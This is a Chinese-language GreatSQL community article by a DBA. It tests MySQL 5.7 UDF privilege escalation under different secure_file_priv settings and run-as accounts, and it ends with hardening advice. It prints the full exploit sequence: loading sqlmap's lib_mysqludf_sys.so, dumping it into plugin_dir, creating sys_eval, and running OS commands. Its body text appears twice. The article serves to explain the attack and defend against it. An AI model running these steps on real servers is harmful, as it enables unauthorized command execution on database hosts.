作者简介:寒风中额猪,万里数据库DBA,一个努力前行的DB人。 * GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源。
对 MySQL UDF 提权做一次探究,什么情况下可以提权,提取的主机权限是否跟mysqld进程启动的主机账号有关 数据库信息
数据库版本:5.7.21
UDF
UDF:(User Defined Function) 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建指向共享库文件的自定义函数。
(3)通过刚刚创建的函数执行系统命令,实现提权。
漏洞详情
当 MySQL 配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹,且可以用弱口令登录数据库,存在udf提权漏洞。
查看漏洞利用条件:secure_file_priv为空或者为plugin文件夹,可以登录数据库,存在plugin文件夹
将udf.so文件导入相关plugin文件夹下
使用udf创建自定义函数
Create function sys_eval returns string soname ‘udf.so’;
使用自定义函数执行任意代码执行:
获取so文件
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
root账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | /home/mysql/ |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#导出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致)
#plugin_dir路径下有so文件了
#直接创建自定义函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
secure_file_priv=null
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | null |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
普通账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.06 sec)
余下的几种secure_file_priv=dirname(secure_file_priv和plugin_dir路径不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致),secure_file_priv=null得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。
总结
secure_file_priv
''(empty string),不限制导入和导出的目录。只需将so写到plugin_dir,能创建so自定义函数。存在漏洞风险 dirname(指定目录),限制导入和导出为指定目录。如果指定的目录和plugin_dir相同,能正常创建so自定义函数,存在漏洞风险;否则不能创建so自定义函数 null,禁止导入和导出操作,不存在漏洞风险
提权账号
无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe),提权后的账号根据mysqld进程uid确定
$ ps -ef|head -1;ps -ef |grep 5721
UID PID PPID C STIME TTY TIME CMD
root 18371 11890 1 17:33 pts/21 00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
数据库账号的权限
目标端需要能执行select...into dumpfile、创建函数权限
建议
使用普通账号启动数据库(配置文件中--user=mysql) secure_file_priv设置为null,禁止导入和导出操作;如果需要导入和导出,将secure_file_priv设置为非plugin_dir目录 数据库密码尽量复杂 关注plugin_dir是否有新增的不明来源的.so文件和关注数据库是否有新增不明来源的自定义函数
数据库信息
数据库版本:5.7.21
UDF
UDF:(User Defined Function) 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建指向共享库文件的自定义函数。
(3)通过刚刚创建的函数执行系统命令,实现提权。
漏洞详情
当 MySQL 配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹,且可以用弱口令登录数据库,存在udf提权漏洞。
查看漏洞利用条件:secure_file_priv为空或者为plugin文件夹,可以登录数据库,存在plugin文件夹
将udf.so文件导入相关plugin文件夹下
使用udf创建自定义函数 Create function sys_eval returns string soname ‘udf.so’;
使用自定义函数执行任意代码执行:
获取so文件
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
root账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | /home/mysql/ |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#导出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致)
#plugin_dir路径下有so文件了
#直接创建自定义函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
secure_file_priv=null
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | null |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
普通账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.06 sec)
余下的几种secure_file_priv=dirname(secure_file_priv和plugin_dir路径不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致),secure_file_priv=null得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。
总结
secure_file_priv
''(empty string),不限制导入和导出的目录。只需将so写到plugin_dir,能创建so自定义函数。存在漏洞风险 dirname(指定目录),限制导入和导出为指定目录。如果指定的目录和plugin_dir相同,能正常创建so自定义函数,存在漏洞风险;否则不能创建so自定义函数 null,禁止导入和导出操作,不存在漏洞风险 提权账号 无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe),提权后的账号根据mysqld进程uid确定
$ ps -ef|head -1;ps -ef |grep 5721
UID PID PPID C STIME TTY TIME CMD
root 18371 11890 1 17:33 pts/21 00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf数据库账号的权限 目标端需要能执行select...into dumpfile、创建函数权限
建议
使用普通账号启动数据库(配置文件中--user=mysql) secure_file_priv设置为null,禁止导入和导出操作;如果需要导入和导出,将secure_file_priv设置为非plugin_dir目录 数据库密码尽量复杂 关注plugin_dir是否有新增的不明来源的.so文件和关注数据库是否有新增不明来源的自定义函数
《GreatSQL 新版本发布会》
GreatSQL数据库是一款开源免费数据库,可在普通硬件上满足金融级应用场景,具有高可用、高性能、高兼容、高安全等特性,可作为MySQL或Percona Server for MySQL的理想可选替换。
⏩GitHub : https://github.com/GreatSQL/
🆙BiliBili : https://space.bilibili.com/1363850082
(对文章有疑问或见解可去社区官网提出哦~)
加入微信交流群 | 加入QQ交流群 |